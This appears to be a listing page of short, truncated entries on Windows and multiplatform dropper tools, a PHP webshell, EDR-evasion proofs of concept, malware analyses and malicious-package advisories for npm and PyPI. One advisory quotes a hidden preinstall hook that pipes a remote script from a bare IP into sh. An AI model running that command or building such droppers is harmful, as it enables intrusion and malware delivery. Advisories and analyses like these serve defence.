DarkWidow

DarkWidow A Customizable Dropper Tool targeting Windows. Honourable Mentions: 1. BlackHat Asia, 2024 - Call For Tools 2. BlackHat USA, 2024 - Call For Tools 3. BlackHat SecTor, 2024 - Call For Tools 4. BlackHat Europe, 2024 - Call For Tools 5. Wild West Hacking Fest 2024 - Arsenal Thanks a lot to...

Sharperner

Sharperner Sharperner is a tool written in CSharp that generate .NET dropper with AES and XOR obfuscated shellcode. Generated executable can possibly bypass signature check but I cant be sure it can bypass heuristic scanning. Features PE binary Process Hollowing PPID Spoofing Random generated AES...

RustyWater-ShellCode-Dropper

RustyWater ShellCode Dropper RustyWater represents the main payload and the backbone of the entire adversarial operation in Static Kitten group attacks. RustyWater is a Rust compiled executable disguised as reddit.exe with a fake Cloudflare icon known as RustyWater or linked to Archer RAT/RUSTRIC...

Android-Projector-C2-Malware

Pre-installed C2 Infrastructure and RAT Payload on Android Projectors Technical Analysis Report — Security Research Affected Devices: Multiple Android projectors of beamer brands like the Nonete e.g., Model HY260Pro likely also several projectors from Magcubic, Hotack, Huyukang and many more, as...

Umbrella

Umbrella Dropper Copyright 2017 Umbrella Written by: Alisson Moretto - 4w4k3 Umbrella is a file dropper dedicated to pentest, its download files on target system are execute them without a double execution of exe, only of embed. To compromise the same target again, you need delete this folder on...

slopShell

slopShell php webshell Since I derped, and forgot to talk about usage. Here goes. For this shell to work, you need 2 things, a victim that allows php file uploadyourself, in an educational environment and a way to send http requests to this webshell the client script is the 100% best way to...

blenny

Blenny 는 실행 파일의 아이콘 안에 실행 가능한 페이로드 데이터를 숨기는 Windows용 개념 증명PoC 페이로드 난독화 도구입니다. 이름은 검치 블레니에서 따왔으며, 이 물고기는 청소 물고기의 행동과 모습을 흉내 내어 무심한 물고기를 잡아먹습니다. 왜? 정확한 경위는 기억나지 않지만, retr0id@DavidBuchanan314라는 해커가 실행 파일의 아이콘 안에 페이로드를 숨기는 아이디어를 제기했습니다. PNG 파일의 다양한 특성과 Windows 아이콘 파일이 내부에 PNG 데이터를 포함할 수 있다는 점 덕분에, 이...

Azure-App-Tools

Azure-App-Tools Azure 애플리케이션에서 사용할 수 있는 도구 모음입니다. https://azure.microsoft.com/en-us/get-started/apps/ 필수 구성 요소 Azure Powershell 모듈 https://docs.microsoft.com/en-us/powershell/azure/install-az-ps?view=azps-3.8.0 예제: 동적 디바이스 코드 @MrUn1k0d3r의 원본 PoC...

CallstackSpoofingPOC

콜스택 스푸핑 + 간접 Syscalls POC 이 프로젝트는 EDR 우회 POC에 초점을 맞춘 간단한 C++ 자체 주입 드로퍼로 구성되어 있습니다. 구현을 위해 콜 스택을 숨기기 위한 Windows Thread Pooling 과 NTDLL 후킹을 피하기 위한 indirect syscalls 사용을 결합했습니다. 2023-10-08-23-22-35-Trim image image image image 이미지에서 볼 수 있듯이, Cordyceps 코드는 syscall 명령어 중 하나를 활용하기 위해 ntdll로 점프를 수행합니다. ...

Dr0p1t-Framework

Not maintained currently Wait for the next version Dr0p1t-Framework Have you ever heard about trojan droppers ? In short dropper is type of malware that downloads other malwares and Dr0p1t gives you the chance to create a stealthy dropper that bypass most AVs and have a lot of tricks Trust me :D ...

SpookFlare

SpookFlare SpookFlare has a different perspective to bypass security measures and it gives you the opportunity to bypass the endpoint countermeasures at the client-side detection and network-side detection. SpookFlare is a loader/dropper generator for Meterpreter, Empire, Koadic etc. SpookFlare h...

Enigma

Enigma Multiplatform payload dropper. VIDEO DEMO CLONE root@kitploit: git clone https://github.com/UndeadSec/Enigma.git RUNNING root@kitploit: cd Enigma root@kitploit: python enigma.py or python3 enigma3.py DISCLAIMER TO BE USED FOR EDUCATIONAL PURPOSES ONLY The use of the Enigma is COMPLETE...

Dropper-GCleaner-C2-Infrastructure-Kernel-Driver-PowerShell-Conhost-Payload-Analysis

1. C2 인프라 – 복원력과 중복성을 갖춘 서버 Process Hacker 메모리 분석을 통해 Dropper GCleaner가 C2 통신에 사용하는 포괄적인 도메인 목록이 확인되었습니다. 이러한 도메인은 다양한 플랫폼Scaleway, Render, Replit 등에 호스팅되어 있으며, 이는 견고하고 중복된 인프라를 나타냅니다. 주요 관찰 사항: 호스팅 제공 업체: Scaleway scw.cloud, Render onrender.com, Replit repl.co 등. 도메인: readthedocs.io, rhcloud.com...

bro-shellshock

Bro용 ShellShock 탐지기 =========================== 이 스크립트는 "ShellShock"이라는 별명으로 알려진 CVE-2014-6271 Bash 취약점의 성공적인 악용을 탐지합니다. 공격을 받은 호스트에서 성공적인 침해나 실제 취약점을 나타낼 수 있는 동작을 관찰한다는 점에서 대부분의 기존 탐지보다 더 포괄적입니다. HTTP를 통해 공격을 수신하는 호스트가 관찰되면, Bro는 해당 호스트가 드로퍼 페이로드를 다운로드하거나 ICMP 핑을 보내는지 감시합니다. 더 많은 메커니즘이 나타날 수 있지만...

MAL-2026-15969 Malicious code in array-frames (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector dd9461945c1bccc858c52f79e13624b33fb8cdfc37c889de48907b8464779063 The npm package [email protected] advertises a trivial array chunking utility but ships an obfuscator.io-wrapped payload as its main module. On...

Malicious code in timeweave (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6c6450b478521f96973a556306ed36a1430407373bb1331e051faec0266e1e0d The package presents itself as a timezone/IANA cache utility but ships a manifest-driven Windows code-execution channel. updater.py defines...

MAL-2026-15630 Malicious code in mfafix (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4f10490485dfd11cdb9eeb6e29b104c0d70651d1d8853a339a7420a75d09d066 lib/cache.js contains a dropper hidden behind cover-story comments about a connection pool. On the first invocation of the exported initMFA flow whic...

Malicious code in mfafix (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4f10490485dfd11cdb9eeb6e29b104c0d70651d1d8853a339a7420a75d09d066 lib/cache.js contains a dropper hidden behind cover-story comments about a connection pool. On the first invocation of the exported initMFA flow whic...

Malicious code in mfacord (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6e8426c0e4e80e0bd9839d8517e060bd923775b8a3e100aab57e18b4f47c970e On require'mfacord', index.js loads lib/cache.js, which on win32 decodes a hardcoded URL...

MAL-2026-15506 Malicious code in grafeno-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413 [email protected] is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs curl -s 216.126.236.46/x.sh | sh vi...